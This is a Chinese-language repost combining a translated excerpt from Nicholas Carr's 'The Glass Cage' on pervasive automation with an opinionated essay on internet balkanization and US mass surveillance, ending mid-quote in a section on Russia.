任何使用数字技术的人都是他们的奴仆 —— 包括政府和间谍机构。后者不愿意接受这点，于是他们努力吸纳/合作那些掌握数字技术的寡头。

而我们这些普通公民中很大一部分人仍没能理解到这一点，这会对有效反抗形成根本性的阻碍。

本文来自《The Glass Cage: Automation and Us》这本书中的一个章节。这本书出版于6年前，可以说其中一些思考已经不新，但是，如上所述，对于我们中很多人来说，这本书中提供的思考依旧值得研究。

您可以在这里下载这本书：https://www.patreon.com/posts/nin-suo-yi-lai-40000120

Excerpted from The Glass Cage: Automation and Us by Nicholas Carr. Copyright © 2014 by Nicholas Carr. With permission of the publisher, W. W. Norton & Company, Inc. All rights reserved.

Nicholas Carr writes on technology and culture. In addition to The Glass Cage, his books include The Shallows, The Big Switch, and Does IT Matter?

早在1990年代，就在互联网泡沫开始膨胀之际，人们对 “无处不在的计算” 感到兴奋不已。权威人士向人们保证，很快，微型芯片将无处不在 —— 嵌入工厂机械和仓库货架中、贴在办公室和房屋的墙壁上、安装在消费品中并缝制在衣服上，甚至可以植入你的身体。

配备了传感器和收发器的微型计算机可以测量从金属疲劳到土壤温度再到人类血糖等各种你能想到的变量，并且，它们可以通过互联网将读数发送到数据处理中心，大型计算机可以处理这些数据并输出说明，使所有内容保持规范和同步。

计算将是无处不在的。我们的生活将实现自动化。

炒作的主要来源之一是著名的硅谷研究实验室 **Xerox PARC**，史蒂夫·乔布斯（Steve Jobs）在此找到了 Macintosh 的灵感。

PARC 的工程师和信息科学家发表了一系列论文，描绘了一个未来，在这里，计算机将被深深地编织到 “日常生活的结构” 中，以至于与生活 “无法区分”。

我们甚至不会注意到我们周围正在进行的所有计算。我们会被数据充斥、被各种软件围绕，以至于没有感到信息过载的忧虑，反而 “沉迷” 于此。听起来就跟田园诗一样 ……

全面自动化的兴奋还为时过早。90年代的技术不足以使整个世界变得机器可读，并且在网络泡沫崩溃之后，投资者已经没有心情资助那些到处安装昂贵的微芯片和传感器的项目。

但是，在随后的十五年中，情况发生了很大变化。如今的经济方程式已经完全不同了。

电子设备的价格已大幅下降，高速数据传输的成本也已下降；电子算设备的价格已大幅下降，高速数据传输的成本也已下降。像亚马逊、谷歌和微软这样的寡头已经将数据处理变成了实际效益。

他们建立了一个所谓的云计算网格，在集中化的工厂中收集和快速处理大量信息，然后将其输入智能手机上运行的应用程序或机器的控制电路中。

- 列表-1 “集中化毁掉互联网自由”

随着 GE 和 IBM 等技术巨头推动所谓的 “物联网” 的创建，制造商正在花费数十亿美元为工厂配备网络传感器。

- 列表-1 “IoT 危机和防御”

现在，计算机几乎无所不在，甚至这个世界最微弱的抽搐和颤抖也被记录为二进制数字流。当年的 PARC 研究人员开始看起来像先知一样。

自动化时代

「图」

一套工具和基础架构之间存在很大差异。工业革命只有在将其运营假设构建到庞大的系统和网络中之后，才能发挥出全部力量。

十九世纪中叶的铁路建设扩大了公司可以服务的市场，为机械化的批量生产提供了动力。几十年后电网的建立为工厂组装线开辟了道路，并使各种家用电器变得可行且价格合理。

这些新的运输和电力网络，以及随之而来的电报、电话和广播系统的铺展，赋予了社会不同的特征。它们改变了人们对工作，娱乐，旅行，教育甚至社区和家庭组织的思考方式。

它们以远远超出蒸汽动力工厂机器所能完成的方式改变了生活的节奏和质感。

历史学家 Thomas Hughes 在其《网络的力量》一书中回顾电网的到来时，描述的首先是工程文化，然后是商业文化，最后是社会文化如何形成新系统。他写道：“人和机构发展出新的特征使其自身适合技术的特征。”

“而且，无论是技术人员还是非技术人员，人、思想和机构之间的系统性互动都导致了具有大规模运动和导向的超级系统（一种社会技术系统）的发展。”

正是在这一点上，Hughes 所描述的 “技术动力” 在电力行业以及对其支持的生产和生活方式等各种方面都成立了。

在自动化历史上，我们曾经也遇到了类似的关头。社会正在适应通用

计算基础架构，其速度要比适应电网更快，并且新的现状正在形成。

社会运营的基本假设已经改变。圣塔菲研究所的经济学家和技术理论家 W. Brian Arthur 解释说：“曾经发生在人类之间的业务流程现在都在以电子方式执行。“它们发生在完全数字化的看不见的领域。”

例如货运。不久前，要协调跨越国界的货物运输，就需要大量人力工作人员。而现在，它完全由计算机处理。正如 Arthur 所说，越来越多的业务通过 “完全在机器之间进行的大量对话” 来实现管理。

一切的前提都是，你需要拥有能联网的计算机。任何一家规模较大的公司都别无选择，只能先自动化然后再谈其他一切。

它们必须重新设计其工作流程和产品，以实现更大范围的计算机监视和控制，并且必须限制人类参与其供应和生产过程。毕竟人类跟不上计算机之间的对话，人类被认为是拖后腿的东西。

科幻小说家 Arthur C. Clarke 曾经问道：“人与机器的合成是否能保持稳定，或者，人类是否会逐渐沦为一种阻碍、变成必须被丢弃的障碍？” 至少在商业世界中，似乎没有人与计算机之间稳定的工作划分。

流行的计算机化沟通与协调方法几乎可以确保人类的作用在不断缩小。我们设计了一个最终会丢弃我们的系统。如果失业率在未来几年内继续恶化，则更多的原因可能是这个新的全方面自动化基础设施，而不是工厂中任何特定的机器人或办公室中的软件应用。

机器人和应用程序只是整个更深层的自动化体系的表面现象，是那个广泛的、侵入性的根系统的可见部分。

该系统也促进了自动化技术的广泛传播。从提供政府服务到发展友谊和家族关系，社会正在重塑自己，以适应新的计算基础架构的轮廓。

超大量的数据为预测算法提供了原材料，这些预测算法现在正在操纵/塑造个人和群体的决策。即 少数派报告。

- 《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》

它为教室、图书馆、医院、商店、教堂和家庭的自动化提供了支持，而这些地方传统上是以人与人之间互相联系为基础的。

它允许国家安全局和其他顶级间谍机构、以及犯罪集团和爱管闲事的寡头公司以前所未有的规模进行监视。

这就是为什么我们大量的公共讨论和私人对话被分散到了小屏幕上的原因。它使各种计算设备能够全天指导每个人的一举一动，提供源源不断的个性化警报、说明和建议。

人和机构再一次开发出适合于当前技术特征的特征。工业化并没有把我们变成机器，自动化也不会使我们变成自动。但是，自动化的普及正在使我们的生活更具可编程性。

我们很少再有机会展示自己的机智和创造力，展示曾经被认为是性格支柱的自力更生。

随着计算机尺寸的不断缩小和功能的不断增强，从我们手中握持的设备到身体佩戴的设备，这种趋势还将会进一步加快。

透过 “眼镜”

「图」

这是一个奇怪的演讲。活动是2013年的TED会议，于当年2月下旬在洛杉矶附近的长滩表演艺术中心举行。谷歌老总 Sergey Brin 看起来烦躁不安、声音令人沮丧，据说他还是谷歌两位创始人中比较外向的一个呢。

他在那里为该公司的 “头戴式计算机” Glass 进行市场推广。他从对智能手机的轻蔑评论开始，哪怕谷歌凭借其 Android 系统已将其推向了主流。

Brin 从口袋里掏出自己的手机，不屑地看着它。他说，使用智能手机 “实在太娘了 …… 你知道，你站在那儿，就像在擦一块毫无特色的玻璃一样。”

他表示，除了 “社交孤立” 之外，凝视着这个小屏幕还会削弱人对实体世界的感官参与，他说 “你真的想对自己的身体做这种事吗？”

然而，Brin 却反过来赞扬 Glass 的好处。他说，新设备将为个人提供一个非常优越的 “外形”。通过解放人们的双手并使他们的头部保持平视，该设备将使人们与周围环境保持联系。他们将 “重返世界”。

他还强调了其他优点。通过永久地放置屏幕，计算机化的 Glass 将允

许 Google 通过其 Google Now 服务以及其他密切跟踪的和个性化的例程，在设备感觉到有人需要建议或帮助时可以及时向他们提供相关信息。

- 在这里看到关于谷歌眼镜《一个愚蠢带来的启示》

该公司将实现其最大的野心：使信息流自动进入人的头脑。Brin 说，有了 Glass，您将完全不必在网页上搜索了。您无需制定查询或对结果进行排序，也不必跟踪链接的踪迹。只要有需要，您就可以得到信息。”

Brin 的尴尬演讲引起了技术博客的一片嘲笑。不过，他有一点说的没错。智能手机的确是一种绑架。人脑无法一次专注于两件事。每次在触摸屏上扫一眼或滑动，都会使我们远离周围的环境。

当然，人们总是会分心。注意力不断徘徊、漂移。但是人类还从来没有遇过这样一种工具，它如此执着地吸引你的所有感官并分散你的注意力。

通过将人们连接到象征性的其他地方，正如 Brin 所暗示的那样，智能手机将人们从现实中驱逐了。人失去了存在的力量。

但是，Brin 对他的 Glass 将解决问题的保证无法令人信服。虽然有些时候解放双手将是一个优势。但是，凝视漂浮在您面前的屏幕需要的注意力投入不亚于扫视一下您腿上的屏幕。而且，可能需要得更多。

对使用平视显示器的飞行员和驾驶员的研究表明，当人们查看投影在环境中的文本或图形时，他们容易受到了“注意力隧道”的影响——他们的视线变窄，眼睛注视着显示屏，并且对视场中发生的所有其他事物都视而不见。

在飞行模拟器中进行的一项实验显示，飞行员在降落过程中使用平视显示器查看跑道所花费的时间比不得不瞥一眼仪表读数的飞行员所花费的时间更长。前者甚至都没能看到一架停在他们前面的飞机。

所谓的穿戴式计算机，无论是像 Glass 那样戴在头上的，还是像 Apple Watch 那样戴在手腕上的，都是诡异的新玩意、其作用尚未得到证实。

为了获得广泛的欢迎，这些推销者必须克服一些大的障碍。目前它们的功能很稀疏，看上去很笨拙，其内置的摄像头和传感器使很多人担心自己的隐私。

但是，就像之前的其他个人计算机一样，它们会快速改进，并且几乎可以肯定会演变成不太突兀的，更有用的形式。简单说，可穿戴设备很可能变成常态。

不过，Brin 误以为，Glass 和其他此类设备代表了对计算机历史的突破。它们为既定的技术动力提供了更大的力量。

最重要的是，随着智能手机使功能强大的联网计算机变得更加便携，它们还使软件公司可以对每个人生活的更多方面进行编程。结合廉价、易用的应用程序，他们允许使用云计算基础架构来自动化最繁琐的事务。

所谓的智能眼镜和手表进一步扩展了自动化的范围。算法生成的建议不断指导人们关于下一顿饭在哪里或晚上穿什么衣服等日常生活。

别忘了，它们一直在充当个人监视器，允许将有关您的位置、思想和健康的全部信息传输回云。反过来，这又为软件编写者和企业家提供了更多使基本日常生活自动化的机会。

编程你的头脑

「图」

随着人类越来越依赖应用程序和算法，如果没有它们的帮助，人们的行动能力就会越来越差 —— 不仅是注意力滑坡，基本生存技能也会滑坡。

这反过来继续推动了软件的“必不可少”。自动化激励更多的自动化。每个人都希望通过屏幕来管理生活，社会自然会使其议程去适应计算机和程序。

用软件无法完成的事 —— 那些不适合计算并因此抵制自动化的事 —— 似乎已经变成了可有可无。

早在1990年代初 PARC 研究人员就认为，当我们不再意识到计算的存在时，我们就会知道它已经足够普及了。电脑将完全融入我们的生活，以至于我们根本看不到它们。

我们会“不自觉地使用它们来完成任何日常任务。”

这已经不再是白日梦。现在，许多计算机公司和软件公司都表示，他们正在努力使其产品不可见。

硅谷著名企业家 Jack Dorsey 表示："我对完全不可见的技术感到非常兴奋。我们通过 Twitter 进行此操作，并且通过[在线信用卡处理器] Square 进行此操作。" 苹果已经将 iPad 推广为"摆脱干扰"的设备。Google 接受了这个主题，将 Glass 宣传为 "摆脱技术障碍" 的一种手段。

拥有复杂技术的前景逐渐淡出人们的视线，因此可以毫不费力地使用它，对使用它的人和对销售它的人一样有吸引力。

纽约时报专栏作家 Nick Bilton 写道："只有在缓慢的文化和个人适应过程之后，技术才会消失。当我们习惯于它时，技术开始对我们施加更多而不是更少的控制力量。我们可能已经忽略了它对我们生活的限制，但这些限制仍然存在。

正如法国社会学家 Bruno Latour 所指出的那样，一种熟悉的技术的隐形性是 "一种光学错觉"。它掩盖了我们为了适应技术而重新改造自己的方式。我们最初用来实现自己的某些特定意图的工具开始向我们强加其意图或制造者的意图。

☞ 随着软件程序对人类的影响越来越大，它影响着我们的工作方式、我们所看到的一切信息、我们所走的所有路线、我们与他人的每一次互动 …… 它们成了一种远程控制。

与机器人或无人机不同，人类可以自由地拒绝软件的指令和建议。但是，要摆脱它们的影响是非常难的。当我们启动一个应用程序时，我们要求被引导 —— 我们将自己置于机器的照顾之下。

仔细看一下谷歌地图。当你在一个城市旅行时，你咨询这个应用程序，而它给你提供的不仅仅是导航提示 —— 它给你的是一种思考城市的方式。在软件中嵌入的是一个地方哲学，它反映的是谷歌的商业利益、程序员的背景和偏见，以及软件在代表空间方面的优势和局限性等。

2013年，该公司推出了新版本的地图。它并没有向你提供与其他人看到的相同的城市表象，而是，根据该公司收集到的关于你的信息，根据 **谷歌认为** 你的需求和愿望，生成了一张量身定制的地图。

这款应用会突出显示附近的餐馆和你的社交网络中的 "朋友" 所推荐的其他感兴趣的地点。它将给你提供反映你过去的导航选择的方向。

该公司表示，你所看到的视图是 "对你来说是独一无二的，总是能适

应你此刻想要执行的任务。”

这听起来很吸引人，但这是有局限性的。谷歌过滤掉了偶然性，而偏向于孤立性。可以说最重要的理解一个城市的方式 —— 作为一个公共空间去理解，不仅是与你的朋友们共享，而且是与大量的陌生人共享的公共空间 —— 却失去了最重要的意义。

科技评论家 Evgeny Morozov 写道，“谷歌的城市主义，就像一个人开着自驾车去逛商场。它具有深刻的功利性，甚至是自私的性格，几乎不关心公共空间的体验方式。在谷歌的世界里，公共空间不过是挡在你的房子和那家好评如潮的餐厅之间的东西而已。”

社交网络推动所有人以符合运营这些网络的公司的利益和偏见的方式来展示自己。

Facebook 通过其 “时间线” 和其他纪实功能，鼓励所有人将自己的公众形象与身份视为不可分割。它希望将他们锁定在一个单一的、统一的 “自我” 中，在他们的一生中持续存在，以一个连贯的叙事方式展开，从童年开始，到死亡结束 —— 人们猜测，这就是他们的死亡。

这符合它的创始人对自我及其可能性的狭隘的概念。“你只有一个身份”，马克扎克伯格曾这样说，”你对你的朋友或同事以及你认识的其他人保持不同形象的日子可能很快就会结束了。”

他甚至认为，”如果你有两个身份，就是缺乏诚信的表现。” 这种观点毫不奇怪，这与 **Facebook** 希望将其用户打包成整齐划一的数据集供广告商使用的愿望不谋而合。

对该公司来说，它还有一个额外的好处，那就是驳斥人们对个人隐私的担忧的理由，令其不那么有效。如果说拥有一个以上的身份表明 “缺乏诚信”，那么渴望将某些想法或活动保持隐秘的欲求，则表明性格上的 “弱点”。

但是，Facebook 通过其软件强加的自我概念只会让人感到窒息。自我很少是固定的。它有一种保护性的品质。它通过个人探索而出现，并随着环境的变化而不断更新。这一点在青年时期尤其如此，一个人的自我概念是不稳定的，要经过测试、实验和修正。如果被锁定在一个单一的身份中，特别是在人生的早期，可能会失去个人成长和成就感的机会。

不止 Facebook，每一个软件都包含着这样的隐性假设。搜索引擎，

在自动化的知识性调查中，优先考虑的是流行性和最新性，而不是观点的多样性、论证的严谨性或表达的质量。（这就是算法暴政 —— 它根据它的需求定制你。）

- 《算法暴政：定制人如何终结民主》

就像所有的分析程序一样，他们有一个偏向于统计分析的标准，淡化了那些需要进行品味或其他主观判断的标准。

推荐引擎，无论是推荐一部电影还是推荐一个潜在的恋爱对象，都是为了迎合 *你个人* 的既定欲望，而不是挑战你的新奇和意外。它们假定我们喜欢习惯性的而不是冒险、可预测性的而不是奇思妙想。

家庭自动化的技术，让照明、取暖、烹饪和娱乐等各个方面的事情都可以被精心编程，这些技术将工业化的心态强加于家庭生活。它们巧妙地鼓励人们适应既定的生活规律和日程安排，使家庭更像工作场所。

如果我们不了解编写软件的那些人的商业、政治和道德动机，或者不了解自动化数据处理的固有局限性，那只能意味着我们放弃了自己任由操纵。

正如 **Latour** 指出的那样，我们冒着用他人的意图代替自己的意图的风险，甚至没有意识到操纵已经发生。我们越是习惯于技术，风险增长就越大。

当我们适应了机械系统的存在，机械系统就会变得无形无影，淡出我们的视线。

即使我们没有能力修理漏水的水龙头，也无法排除马桶的故障，但往往会对家里的水管系统有很好的感觉。大多数的技术都是这样，只有当它们足够无处不在时，才会被视而不见。

它们的工作原理，以及其工作原理的假设和利益，是不言而喻的，或者说至少是可以分辨出来的。这些技术可能会产生意想不到的效果，但它们并没有隐藏的目的。

对于信息技术来说，隐藏意味着完全不透明。软件代码被隐藏在我们的视线之外，在许多情况下，代码作为商业机密受到法律保护 —— 你甚至无权了解这些控制你的东西。

即使能够看到它们，也很少有人能够理解它们。

它们是用我们不懂的语言编写的。输入到算法中的数据也被隐瞒在我们的面前。

我们几乎不知道这些数据是如何被收集走的，它的用途是什么，也不知道谁能访问这些数据。

而现在，软件和数据都存储在所谓的云端，而不是个人硬盘上，我们甚至无法确定系统的工作原理何时发生了变化。

流行的程序在我们不知不觉中一直在进行修改。我们昨天使用的应用程序可能已经不是今天的应用程序了。

现代世界一直很复杂。它被细分为各种专门的技能和知识领域，拒绝所有试图全面理解它的尝试。但是，如今，这种复杂性本身已经对我们隐藏了，其程度已远远超过我们以前所经历的任何程度。

它隐藏在精心设计的屏幕和用户友好的界面之后。技术的假设和意图已经深深渗透到我们自己的欲望和行动中。

你不再知道那些软件是在帮助你还是控制你。你坐在后面，却不知道是谁在开车。〇

原文

真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来 - iyouport

关于高堡奇人社会反抗和思考

【2020年12月1日存档】中国GFW式的围墙在全球兴起，其原因是什么？现状是什么？可能的结果是什么？这其中追求自由的人民值得思考些什么？

【注】每一场战争都是关乎资源的争夺，中美之战也一样。这场帝国争夺战充分体现了 “数据是新石油” 的流行语想要表达的意思。

在数字世界里，中国和美国共享着同一个体制：监视资本主义体制，共同拥有一个野心：技术帝国、全球霸主。那么，中美之战的结果会是什么？最好的结果应该是什么？

如何真正走出被高堡奇人囚禁的世界？

请注意，目前中国异议和美国异议中很大一部分人的思考是错误的，那些愤世嫉俗的逃离只会加深这一灾难。

巴尔干化是指：将一个地区或主体划分为较小的且相互敌对的区域或组织。

“巴尔干化” 最初被用来描述欧洲巴尔干半岛分裂成一系列较小的、相互敌对的国家，这些国家是按照宗教和种族界限划分的。网络巴尔干化 (也称为 “互联网巴尔干化”) 是指全球互联网被分割成若干较小的、由国家管理的、沿地缘政治边界分割的 “大局域网”。

- 《互联网巴尔干化已经是一个非常严重的全球政治问题》

互联网巴尔干化的事实早已不是新闻了，它正在形成由世界超级大国 —— 中国、俄罗斯和欧洲 —— 领导的多个不同的网络王国。这一全球趋势反映了在美国互联网监控和数据权力迅速崛起的时代，人们争相捍卫 “信息主权” 的行动。

如果不加以控制，网络巴尔干化将从根本上重塑网络世界，对全球范围内的无国界信息传输、国际合作和言论自由产生令人不安的影响。

本文将探讨全球网络巴尔干化的构成原因、现状和可能的后果。这是个重要的议题。

分裂的催化剂 —— 全球互联网就是美国互联网

「图」

互联网被认为是一个“网络的网络”，它将地理上孤立的、在战略性军事地点运行的通信内网连接起来。

互联网的前身是高级研究计划局网络（ARPANET），由美国国防部高级研究计划局（ARPA，现称 DARPA）于20世纪60年代末建立。

- 这个知识点很重要，推荐您阅读详细内容：《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

ARPANET 是为了满足冷战和核威胁阴影下美国军方的通信需求而设计的。

【注：您还可以在美剧《The Americans》中看到这段故事】

在1990年退役之前，ARPANET 作为美国军方的重要通信工具服务了20年。作为第一个实施 TCP/IP 协议套件的网络，ARPANET 构成了当前互联网的技术基础。

在整个20世纪90年代，美国公司和大学在网络技术上的不断进步，使得一个公开可使用的互联网不再受美国军方的明确控制。但是，互联网与美国政府的联系永远密切相关。

美国位于亚洲、欧洲和非洲之间的地缘战略位置，成为中继点，大部分海底光缆都是通过它铺设的。于是，美国成了全世界的电信主干，所有的互联网流量都通过美国，外国通过美国以枢纽-辐条的模式连接到互联网。

- **2018**年出现的一个非常重要的信号，事实上已经预示了中美之战的发生，但被很多人错过了。见《NSA 的阴云笼罩国际加密 —— 网络安全标准化会议在中国举行令人五味杂陈》

万维网的建立促进了互联网的发展，使其功能超出了单纯的通信范

围，并将其用户群扩大到全球公众。

万维网允许人们通过 “网站” 在互联网上访问和分享数据，这些网站将信息存储在与互联网连接的服务器上。它们通过超文本链接连接在一起，形成一个全球性的、可自由访问的信息库。

在接下来的20年里，网络成为数十亿人生活和工作的基本工具。即时通信、视频流、在线购物和社交网络，彻底改变了全球人类互动和开展业务的方式。

网络为世界各地的人们、企业和政府带来了前所未有的效率和生产力提升。

然而，引领这场技术革命的互联网公司绝大多数都是以美国为基地的，包括微软、苹果、eBay、亚马逊、雅虎、谷歌，然后是 Facebook、AirBnB 和 Uber ……

尽管互联网具有全球影响力和世界性的贡献者基础，但互联网仍然牢牢地控制在美国公司的手中，因而也是美国政府直接控制的。这一历史现实是网络巴尔干化的根本原因，下文详述。

分裂的催化剂 —— （集中化）数据是 “新石油”

「图」

自1990年代初创建以来，网络已经发生了根本性的变化。今天，它不再像其创建者 Tim Berners-Lee 所设想的那样，是一个可以自由访问的信息公地；相反，它已经变成了一个企业利润的引擎，是用户的数据、隐私泄露和人权危害为其提供源源不断的运转动力的。

- *Lee* 正在努力从头再来《*“Web 民主化的一小步”：开源去中心化平台 Solid 推出*》
- 关于他的想法《*“我们不能被互联网摧毁”—— 新的全球性革命正在拉开序幕，万维网之父重出江湖*》

网络巨头谷歌、Facebook、Twitter、微软、苹果和 Dropbox 向全世界提供近乎零边际成本的服务，包括文件存储、即时通讯、照片共享和视频通话等所谓的 “免费” 服务。通过使用这些服务，用户被迫 “同意” 被窃取、存储和汇编高度敏感的个人数据，包括照片、电子邮件、聊天记录、文件、浏览习惯、搜索历史、位置信息和购买决定。

这些宝贵的用户数据库会被编译，并使用人工智能进行分析，以创建高度精确的针对个人行为的预测模型，甚至超过您的亲密伴侣的预测能力。

这些模型随后会通过针对性的广告来盈利，根据用户的喜好向其展示独特的内容。即：定制人《算法暴政：定制人如何终结民主》。

- 📌 关于此处的危险性，远超过本文中的描述。非常建议您参见这里的说明《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

这种形式的“监视资本主义”已被证明是非常有利可图和非常成功的。它使科技巨头能够对社交媒体、新闻、网络搜索、电子邮件、即时通讯和其他在线服务形成有效的垄断。

网络效应进一步使上述这些平台积累了数十亿的用户群，并主导了全球网站的流量。

作为新的全球媒体巨头，对公民的信息流拥有前所未有的权力，谷歌和 **Facebook** 可以像操纵消费偏好一样轻易地操纵用户的政治观点。

- 关于谷歌是怎么操纵您的，见《看不见的独裁》

这些操纵和控制通过放大党派声音、采取影子禁言阻止某些政治观点或删除所谓的“不良”内容来实现。当被用来操纵选举结果时，大众社会影响力就变成了“国家安全问题”。

【注：什么是“影子禁言”，见这里《推特骇客报告证实了用于社交媒体审查的工具的存在》】

2018年，谷歌、Facebook 和 Twitter 与美国结盟的墨西哥选举研究所合作，在即将到来的全国大选中声称“打击假新闻”、“告知选民”和“协助发布投票信息”。在实际操作中，这就需要美国网络公司过滤支持特定候选人的内容，向特定人群的选民减少关键政治新闻，并推广特定候选人的搜索结果。在下面看到报道👇

- 《硅谷巨头如何利用算法操纵墨西哥选举？》

从历史上看，美国政府从不羞于干预外国政治，然而这个例子说明了这种干预已经发生的技术模式上的转变。

【注：维基百科有一个词条“Foreign electoral intervention”它收集

了历史上几乎是所有干预外国选举的行为，并在此议题上进行了国家“能力”方面的对比。您可以参考这里的内容。】

如今，超级大国不再需要暗中资助持不同政见者或反对党来操控全世界的政权更迭；只需要通过操纵 Facebook、Twitter 和 Google，他们可以利用网络社交媒体影响力的强大力量劫持民主进程，这在人类历史上是前所未有的。

> “由人工智能驱动的不可察觉的大规模社会操控是对人类的生存威胁。这种现象与传统的塑造文化和政治现象的尝试不同，它的运作规模越来越大、速度越来越快，而且越来越微妙，已经超越了人类的能力”。
> —— Julian Assange

这些大公司影响外国的权力是由其本国公民赋予的。**Facebook**、谷歌和推特的用户做了一个浮士德式的交易，他们是不知不觉中的受害者。外国用户的数据存储在美国服务器上，并最终由美国公司控制，在那里可以利用这些数据在全世界范围内投射美国的权力。

如果说美国通过控制全球互联网流量路由拥有 “主场优势”，那么通过控制世界上最流行的网络服务平台的人工智能驱动的数据挖掘能力，美国也拥有 “客场优势”。用户数据的集中化和武器化正在助推网络巴尔干化的加深。民族国家争相在这场战争中占据制高点，夺回对本土公民珍贵数据的控制权。

分裂的催化剂 —— 斯诺登和全球监视的曝光

「图」

2013年6月，Edward Snowden 泄露了美国国家安全局(NSA)的大量机密文件，揭示了一个规模和复杂程度前所未有的全球电信监控秘密的存在，从而决定性地巩固了网络巴尔干化的道路。这一行为永远改变了互联网的历史进程，并成为建立 “国家管理的互联网” 的最重要催化剂。

斯诺登揭露了包括 UPSTREAM 和 STELLARWIND 在内的多种间谍全球的计划。这些项目涉及政府强制采集、存储和分析所有流经美国边境的外国互联网流量。美国的 “主场优势” 被最大程度地利用以窃听外国的通信。

- 在这里看到已公开文件的分析《互联网霸主的时间线》

📌 其中棱镜PRISM 监视项目允许间谍机构直接访问美国网络巨头谷歌、微软、雅虎、苹果、Facebook 和 Dropbox 的服务器，从而可以无证、无限制地访问全世界的用户数据。棱镜的曝光暴露了世界上最受欢迎的在线服务通过遵守情报机构的规定，成为监控帝国的左膀右臂。

- 这些左膀右臂的案例还有非常多，您可以在我们的 列表-2 “公私监控伙伴关系” 中看到相关内容的汇总

📌 BLARNEY 计划利用 “商业合作关系来获取和利用从全球网络中获得的外国情报”，并被用来监视包括国际货币基金组织、世界银行、欧盟、联合国以及至少**38**个不同的国家，包括意大利、日本、巴西、法国、德国、希腊、墨西哥和塞浦路斯等美国盟友在内的实体。电信巨头AT&T与这一计划牵连最深。

📌 XKeyscore 计划作为类似谷歌的搜索引擎，对NSA项目中收集到的所有数据进行索引和汇总。斯诺登描述了这个应用的威力：

> ⚠ “它让你可以读取世界上任何人的电子邮件，只要你有一个电子邮件地址就能做到。对于任何网站你都可以看到往返流量；任何人坐在任何一台电脑，你都可以监视他；你可以追踪任何笔记本电脑：随着笔记本电脑在世界各地的移动，您可以对其进行跟踪 ……这是国安局的一站式间谍服务。”

📌 在 BULLRUN 计划中，国家安全局故意破坏在线数据和信息安全，以便利监视；SKIDROWE 收集外国卫星之间的互联网流量，而 BOUNDLESSINFORMANT 则允许从外国大规模收集电话元数据。值得注意的是，由加拿大、新西兰、澳大利亚和英国组成的 “五眼” 监控集团国家都可以接触到这些NSA的监控项目，并为其做出了贡献。

这些披露证实了许多人的怀疑 —— 美国正在利用其对互联网和网络的控制来获取地缘政治利益。

全球所有的互联网和电信数据都被美国情报机构拦截、复制、存储、分析。这种监控 *并不限于* 特定的利益个体或外敌，而是，包括美国公民和外国公民在内的全面大规模监控。实际上，全世界任何使用互联网及其主要网络服务平台的人都是美国大规模监控的目标。

斯诺登文件暴露了外国对美国间谍活动的脆弱性，这些活动发生在从数据传输层到网络服务层的多个层面。

从美国的角度来看，NSA的大规模监控计划是对其作为 “现代互联网守门人” 权力的合理利用。通过保持对互联网流量和网络服务用户数据的最高控制权，美国在维持其世界超级大国地位的努力中获得了巨大的战略优势。

不奇怪，任何拥有这种权力的国家都会理智地期望以类似的方式行事。目前为止没有任何理由相信美国科技巨头考虑停止与美国情报机构在数据共享和监控项目上的合作。

网络分裂的合理案例

「图」

网络巴尔干化的所有原因实际上可以浓缩为一个必要的原因 —— 即美国控制了网络数据的创建、存储和传输。原本是社区建设的高速公路，现在却变成了由一个具有超强影响力和权力的单一守门人经营的收费公路。

盟国和对手都已开始努力摆脱美国控制的网络空间，以保护自己的信息主权，将其作为国家安全的紧急事项。

- 在这里看到近期的热点消息和反思《跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话》
- 《从斯诺登到中国 ...》

一个孤岛式的、防火墙林立的和不兼容的互联网的未来已经来临，而这种快速加深的网络巴尔干化进程，正由中国、俄罗斯和欧洲带头所做的那样。

在下面看到更多具体分析：

- 《互联网主权的全球崛起：这意味着什么？》
- 《数字专制与民主范式之战》

巴尔干化进行时 —— 互联网 “围墙花园” 的兴起

「图」

1、中国

「图」

中国保持着一个完全独立的互联网生态系统，该系统由中国共产党独裁维持。

中国的 “GFW” 围绕着中国的网络边界，并通过阻止访问中国政府不喜欢的任何内容来促进对公民的审查。

也许更重要的是，GFW使中国公民、企业和军队的数据无法被美国的监控机器所掌握。通过政府干预，中国实施了严格的法规，限制美国网络服务公司在中国境内运营的能力。

- 我们在分析谷歌臭名昭著的 “蜻蜓” 项目时提到过这点，关于：**GFW**不仅不会倒，而且不仅仅是限制内容这么简单，它是政治斗争的武器，见《为什么说 Google 搜索能否成功回归中国市场根本不重要？》

Facebook 在中国仍然被禁止，谷歌在拒绝遵守强制性审查法律后，从未在中国市场运营。苹果目前在中国市场运营的条件是，所有苹果服务器都位于中国，并由中国政府下属的公司维护。

【注：在所谓的 “云上贵州” 实施后，一些中国苹果用户 “非常兴奋地” 发现苹果提供了绕过云上贵州而转换为美国苹果ID的操作方法，人们据此认为苹果 “是恩人”。如果您只是因为无法找到一个能翻墙看Netflix的VPN，那苹果的确是恩人；但是，在本文的地缘政治和互联网自由主题的角度上，苹果是在高堡奇人战争中脚踩两条船的人。】

对外国业务的这种限制使中国能够引导一个看起来充满活力的国内大局域网网络服务行业。今天，几乎所有中国人都在使用中国控制的服务，包括百度（全球第二大搜索引擎提供商）、腾讯（社交媒体和电子商务平台）、阿里巴巴和 JD（都是电子商务巨头）。

不管这种数字边界保护主义是由共产主义意识形态的延续还是上世纪**90**年代 “高瞻远瞩的战略举措” 发起的，它都导致这四家公司在只为中国用户服务的情况下，跻身于当今世界最大互联网公司的前十名。

📌 简单说，中国的墙是中共民族主义的战略机器，正是因为这个GFW才养肥了这些具有全球竞争力的、可以被北京直接控制的中国寡头，与美国寡头势均力敌。看下面这个图👇，这就是美国必然视中国为最主要对手的原因。

自上世纪**80**年代中国接受了自上而下的资本主义品牌后，对监控和言论自由的不同文化态度，使他们建立了比美国更庞大的 *国内* 监控

机器。

- 《当谈到数字威权主义时，中国是一个挑战，但不是唯一的挑战》

中国是唯一一个成功摆脱美国互联网和电信主导地位的国家，同时显示出似乎经济繁荣的潜力。中国是作为最完整的网络巴尔干化国家而存在的。

2、俄罗斯

「图」

2014年，俄罗斯国家安全机构委托俄罗斯政府为金砖五国 BRICS（巴西、俄罗斯、印度、中国和南非）建立一个独立的互联网，该互联网将存在于美国影响范围之外。

俄罗斯新闻秘书 Dmitry Peskov 当时表示：

